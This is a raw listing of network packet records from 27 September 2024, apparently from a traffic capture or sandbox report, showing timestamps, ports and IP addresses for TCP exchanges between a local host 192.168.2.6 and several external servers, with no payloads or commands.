Sep 27, 2024 16:18:28.453208923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453218937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453231096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453234911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453279972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453279972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453285933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453295946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453310013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453349113 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453350067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453531027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453557014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453572989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453588009 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453612089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453619003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453622103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453633070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453644991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453665972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453701019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453772068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453783035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453794003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453804016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453824997 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453828096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453839064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453849077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453859091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453870058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453872919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453872919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453872919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453880072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453891993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453902006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453907013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453913927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453924894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453936100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453955889 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453955889 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.454022884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.472912073 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:28.476867914 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:28.481826067 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:28.531784058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.531934977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.531945944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.531964064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.531975985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.531986952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.532001019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.532006025 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.532020092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.532031059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.532042027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.532058954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.532069921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.532079935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.532088995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.532100916 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.532100916 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.532102108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.532114029 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.532154083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.534085035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.534102917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.534113884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.534173965 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.534259081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.534275055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.534285069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.534296036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.534300089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.534312010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.534343958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.534368038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535393953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535403967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535413980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535499096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535511017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535533905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535533905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535533905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535537004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535547972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535553932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535564899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535576105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535578012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535588980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535595894 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535598993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535609961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535609961 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535620928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535630941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535640955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535651922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.535660028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535660028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535695076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.535695076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.536524057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536535025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536545038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536562920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536572933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536576986 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.536583900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536593914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536629915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.536629915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.536828041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536838055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536849976 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536889076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536900043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536905050 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.536911964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.536962032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.536962032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.536962986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538057089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538068056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538079023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538119078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.538119078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.538129091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538139105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538149118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538160086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538182974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.538182974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.538218021 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.538822889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538835049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538847923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538867950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538878918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538882017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.538891077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538899899 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.538902044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538913012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.538925886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.538964987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.539736986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.539782047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.539782047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.539819002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.711679935 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:28.714786053 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:28.719561100 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:28.900671005 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.900688887 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.900703907 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.900727034 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.900741100 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.900783062 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.900798082 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.900811911 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.900818110 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:28.900835991 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.900851011 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.900923967 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:28.900923967 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:28.900923967 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:28.905864000 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.905879974 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.905893087 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.905963898 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:28.971894026 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:29.059257984 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.059277058 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.059292078 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.059453964 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.059500933 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.059525013 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.059539080 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.059551954 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.059715986 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.059715986 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.059989929 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.060117006 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.060167074 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.060185909 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.060199976 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.060213089 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.060233116 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.060261011 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.060771942 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.060794115 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.060807943 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.060828924 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.060844898 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.060838938 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.060897112 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.060897112 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.060897112 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.061625957 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.061640978 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.061655998 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.061671019 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.061685085 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.061688900 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.061712980 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.061737061 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.062410116 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.062458038 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.101088047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.105945110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.161909103 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:29.183564901 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.183896065 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.183989048 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.216197014 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216217995 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216239929 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216253996 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216275930 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216290951 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216305017 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216320038 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216324091 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.216379881 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.216655016 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216669083 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216682911 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216711044 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.216718912 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216732979 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216746092 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216746092 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.216761112 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216774940 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.216774940 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.216804028 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.216820955 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.217569113 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.217582941 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.217597008 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.217626095 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.217650890 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.217658997 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.217673063 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.217686892 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.217700958 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.217709064 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.217715979 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.217730999 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.217758894 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.218523979 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.218538046 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.218552113 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.218569994 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.218574047 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.218595028 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.218600035 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.218607903 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.218626022 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.218630075 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.218645096 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.218668938 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.218677044 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.218713999 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.219454050 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.219470024 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.219482899 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.219497919 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.219502926 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.219516993 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.219516993 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.219542027 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.219542027 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.219564915 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.219583988 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.219696045 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.219711065 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.219734907 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.219749928 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.220371962 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.220412970 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.220457077 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.305855036 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.305876017 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.305883884 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.305937052 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.305984974 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.336662054 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.336673975 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.336689949 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.336705923 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.336716890 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.336723089 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.336729050 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.336769104 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.336913109 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.336931944 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.336971045 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337058067 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337069035 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337078094 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337096930 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337125063 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337183952 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337248087 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337259054 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337285995 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337299109 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337308884 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337318897 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337336063 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337347031 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337363958 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337378025 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337696075 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337712049 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337723017 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337733030 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337733984 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337744951 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337752104 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337769985 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337795019 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.337939024 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.337976933 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338004112 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338013887 CEST	80	49620	185.215.113.117	192.168.2.6
